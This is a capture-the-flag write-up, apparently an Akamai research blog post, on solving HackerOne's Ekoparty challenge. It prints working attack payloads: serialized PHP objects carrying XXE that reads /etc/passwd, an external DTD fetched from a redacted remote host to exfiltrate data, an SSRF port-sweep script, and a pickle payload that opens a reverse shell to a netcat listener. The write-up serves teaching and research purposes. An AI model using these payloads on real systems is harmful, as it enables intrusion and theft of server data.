Akamai Diversity

Akamai Security Intelligence
& Threat Research

Capturing the HackerOne Flag

by Daniel Abeles & Shay Shavit

HackerOne is a bug bounty platform that allows hackers around the world to participate in bug bounty campaigns, initiated by HackerOne's customers. Recently, HackerOne announced they would be hosting a special live hacking event in Buenos Aires along side a week long security conference, Ekoparty 14.

In order to participate the special event, you either have to be a top ranked hacker on their platform, or solve a challenge. Although we don't intend to fly from Israel to Argentina, challenges, especially capture the flag (CTF) challenges, really excited us.

We heard about the CTF from HackerOne's tweet, and immediately set our sights on the prize. The CTF started from the tweet itself, which contained an image with a QR code:



The QR code represented the following string:

The characters looked familiar, and we immediately suspected they were URL encoded bytes, so we added a '%' to every second character:


We decoded the string using Burp Suite's decoder to reveal the URL (https://h1-5411.h1ctf.com):

From there, we started exploring the website:


The website was a meme generation service. In order to test its capability, we picked a template from a closed set of images and created our own meme. The capability was presented at the following page:

The page allows users to choose between text and image types of memes; after inserting the top and bottom text,we hit the GENERATE button, and the image/text was shown at the bottom.

Once a meme is generated, it was added to a list of memes stored in the session. All the memes, are reflected at the "memes.php" page.

We took a closer look at the generation request and noticed that the response contained JSON string with the local meme path on the remote server (we couldn't control the "meme_path" value, since it was auto-generated by the server).

We tried to manipulate some fields with no success. We thought the "template" field might be vulnerable to Local File Inclusion since its URL indicated it was a file. Instead of supplying a template, we tried to pull the "/etc/passwd" file.  Success!

After we validated the vulnerability, we had the ability to reflect local files from the server to the memes page. Using this vulnerability, our next step was to pull the website's source code. We started by pulling the "index.php" file:


Once we have succeeded in pulling the "index.php" we iteratively pulled every php file referenced in the source code, resulting in an almost full dump of the of the site.  Some code was not pulled with this method, since it was not referenced in other pages:

We examined the source code, and the "headers.php" file caught our attention. It had 2 lines commented out - the import and export memes php files -- which looked like they belonged to the 2.0 version of the site:

 These pages were still available on the website:

We inspected the "export" functionality.  A brief examination of the export function showed the ability to download your entire meme collection in a "memepak" format.  We opened the file, which contained base64 encoded data from a PHP serialized array:

This immediately gave us a hint that we might be facing a deserialization vulnerability. One method of exchanging data between a client and server is object serialization.  When the client requests a programmatic resource, the server can turn that resource into a string (serialization) and hand it over to the client. The process works also works in the opposite direction, creating an object from a string is called "deserialization".

In PHP, in order to unserialize an object, the PHP interpreter must be familiar with the class information - this meant we can only serialize primitives (like integers) or defined classes (arrays, custom classes).

Besides being familiar with the classes, needed to meet a two objectives to complete a successful deserialization attack:

  1. Have some sort of control on data that was input to the class

  2. A sink function (magic function) that could reference the input data and be triggered natively by the system (like "__toString", "__constuct", etc).

On the "classes.php" file we extracted before, we found 3 defined classes:

  1. Template

  2. Maintenance

  3. ConfigFile

The Maintenance class was commented out, with a comment stating it belonged to an internal service, which made it a dead end.

The ConfigFile was the most interesting class, since it contains the "__toString" magic function.  "_toString" executed the parse function, loading an external XML file which could lead to an XML External Entity processing vulnerability (XXE).

In the process of parsing the XML, the parser goes through the input and reaches an external entity. It then tries to retrieve the content of the entity.  This can expose the application to various risks, such as information disclosure, server side request forgery, inner network port scanning amongst other vulnerabilities.

Since the "ConfigFile" class seemed like a good entry point, we chose it as our desired class to serialize. To exploit the deserialization vulnerability, we were required finding where the serialization method was invoked. The code showed the content was serialized is the memes array stored in the session:

The deserialization phase occurs on the import function, when uploading a new "memepak" file. The function first validated the we had uploaded a file, then read its content, base64 decoded it, and sent it to the unserialize function:

In this scenario, we tried to achieve an XXE using the deserialization function.

To make that happen, the "__toString" function had to be invoked. On the "memes.php" page, the memes array was iterated so every meme was printed out. Printing the item triggered the "__toString" method, which in turn triggered the "parse" function:

In order to create a serialized string of the ConfigFile object, we copied out the ConfigFile class to our machine, created an instance of the ConfigFile class with our desired parameters, serialized it and echoed it to the console:

The "test.xml" file stated in the image above, contained a malicious XXE payload to present the "/etc/passwd" file.  The process resulted in the following string:

a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:94:"<!DOCTYPE replace [<!ENTITY ent SYSTEM 'file:///etc/passwd'> ]><a><toptext>&ent;</toptext></a>";}}

The "import_memes_2.0.php" file accepts the base64 encoded serialized string which represents a PHP array.  The sent serialized array that contained a single ConfigFile instance with our malicious payload:

It worked!

We got the "/etc/passwd" as excepted, so we had a valid XXE vulnerability:

We now faced the challenge of escalating our XXE vulnerability to a remote code execution (RCE).   PHP offers a process interaction streams module called "expect". When interacting with this module using the "expect://" scheme, an attacker might be able to run a system command.  We tried the "expect://" module but our test failed. We recalled seeing a maintenance class mentioned in the "classes.php" file, which had a comment referring to an internal service, so we tried SSRF.

To make things simpler we changed the XXE payload so that it would fetch an external DTD. This saved us from the hassle of changing the serialized PHP object and only required us to call "memes.php" to trigger the XXE.

The new serialized object outcome was:

a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:127:"<!DOCTYPE replace [<!ENTITY % outside SYSTEM 'http://<<redacted>>/exfil.dtd'> %outside; ]> <a><toptext>&exfil;</toptext></a>";}}

And the remote DTD file outcome was:

<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80/ "><!ENTITY exfil "%data;">

We tried the payload above, which fetches "localhost:80", but it returned nothing. We tried other common ports with no success. Almost defeated, we decided to create a script that automates the process over the entire port range to see if we got a different response:

import requests

 s = '''<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80"><!ENTITY exfil "%data;">'''

for i in range(0,65535):

   with open('exfil.dtd', 'w') as f:

       f.write(s.replace('80',str(i) )) 

   print('[-] running ' + str(i))

   r = requests.get('https://h1-5411.h1ctf.com/memes.php', cookies={'PHPSESSID' : 'ockij83kja86797h54m2r6pso9'} )

   with open('results/'+ str(i) + '.html', 'w') as f:


The script resulted in many failed results, which all shared the same file size, 3575.  However, a single file displayed different file size, on port 1337. The content of the file was:

That was great news for us, since now we had validated a successful Server Side Request Forgery (SSRF). This attack enabled us to read and update internal resources on the server network. We extracted the base64 content and decoded it (notice the debug parameter):

We tried to access http://localhost:1337/status?debug=true via the SSRF and got back the following response:

The decoded base64 content revealed the following data:

The data seemed to be a python pickled object. Python offers functionality like PHP, to serialize and deserialize objects using a library called "pickle". The most noticable difference between Python and PHP deserialization capability, is that python doesn't need to be aware of the serialized class. We then tried to access


and got the following response:

The response hinted we should encode our data since base64 encoding relies on correct padding. We send the same request, but encoded the "status" parameter value and got the following:

We now had a different error, stating the server could not find MARK. This error message usually indicates the server is trying to unpickle an object using the python pickle library.

Once again we faced a serialization vulnerability, this time in Python. Our objective was the same, to create a special crafted serialized object that would result in remote code execution. We found a github gist that generated a pickled serialized python object that on runtime executes a command: https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd.

We generated the python object using the gist and base64 encoded it:

The content of the pickled object is:

Next, we changed the external DTD to provide the pickled object:

<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQoo<<Redacted>>YmluL3NoIGRvLm1<<Redacted>>5pbCA4MTkzJwpwMgp0UnAzCi4%3d&debug=true"><!ENTITY exfil "%data;">

 At this point, we were hoping to get a shell back from the server. To be able to interact with it, we had set up a netcat listener and fired the request.  Once the XXE was triggered, which fired the SSRF, then deserialized the pickled and the shell spawned! Now we had a remote shell, allowing us to execute remote commands on the server.

The first command we ran was "ls" to see the current directory content. The "flag.txt" file immediately caught our attention:



As security researchers with a passion for this type of challenge, this CTF was incredibly rewarding, while simultaneously being incredibly frustrating.  The first several steps of the challenge only took a couple of hours, but then we got stuck. Eventually, we had to take a break for the night, but when we came back to the CTF the next day with fresh eyes, it only took another 15 minutes to solve the puzzle.  Our experience has been that you sometimes need to take a break so you can look at the problem from a new perspective once things have sunk in. In our case, that meant an overnight break, but sometimes it's as easy as taking a walk around the building to clear your mind.

It was a great challenge from HackerOne. We especially enjoyed the realistic scenario, one that reflected issues we've seen in the real world. We have learnt a lot from experience and hope you found this writeup interesting and educational.